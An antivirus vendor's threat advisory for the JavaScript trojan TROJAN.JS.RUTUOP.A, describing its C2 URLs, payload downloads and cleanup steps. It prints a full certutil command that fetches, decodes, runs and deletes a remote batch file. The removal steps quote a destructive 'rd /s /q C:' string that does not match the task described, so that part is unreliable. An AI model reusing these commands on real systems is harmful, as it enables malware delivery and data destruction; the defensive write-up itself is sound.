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TROJAN.JS.RUTUOP.A

December 21, 2018
 Analysis by: Maureen Reyes
 Modified by: Noel Anthony Llimos
 ALIASES:

Trojan:JS/Foretype.A!ml (Microsoft)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to a website to send and receive information.

  TECHNICAL DETAILS

File Size:

757 bytes

File Type:

JS

Memory Resident:

Yes

Initial Samples Received Date:

23 Nov 2018

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Backdoor Routine

This Trojan connects to the following websites to send and receive information:

  • http://{BLOCKED}b.{BLOCKED}y.com/userWebheader.gif?{Computer Name}_{User Name}
  • http://{BLOCKED}r.{BLOCKED}y.com/start.dat?_{Computer Name}
  • http://{BLOCKED}r.{BLOCKED}y.com/start.dat?_{Computer Name}

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}r.{BLOCKED}y.com/Ultimate32.xml
  • http://{BLOCKED}r.{BLOCKED}y.com/Ultimate64.xml

It saves the files it downloads using the following names:

  • %Windows%\Ultimate32.ini → detected as TrojanSpy.Win32.ZALTES.A
  • %Windows%\Ultimate64.ini → detected as TrojanSpy.Win32.ZALTES.A

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other Details

This Trojan does the following:

  • Adds the following Scheduled Task:
    • RouteCore
      • At 08:00 AM on Installation Date - After triggered, repeat every 00:40:00 indefinitely
      • Executes the following command:
        • cmd /c cd %User Temp%&certutil.exe -urlcache -split -f http://cer.{BLOCKED}y.com/start.data?{Computer Name} p.dat&certUtil -f -decode p.dat p.bat&p.bat&del p.dat p.bat&exit

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.644.07

FIRST VSAPI PATTERN DATE:

23 Nov 2018

VSAPI OPR PATTERN File:

14.645.00

VSAPI OPR PATTERN Date:

24 Nov 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Deleting Scheduled Tasks

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each task that has the following value in the Schedule column:
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the following string:
    Cmd /c /rd /s /q C:
  5. If the said string is found, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each task that has the value in the Triggers column:
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the following string:
    Cmd /c /rd /s /q C:
  5. If the said string is found, delete the task..

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Windows%\Ultimate32.ini → detected as TrojanSpy.Win32.ZALTES.A
  • %Windows%\Ultimate64.ini → detected as TrojanSpy.Win32.ZALTES.A

Step 5

Scan your computer with your Trend Micro product to delete files detected as TROJAN.JS.RUTUOP.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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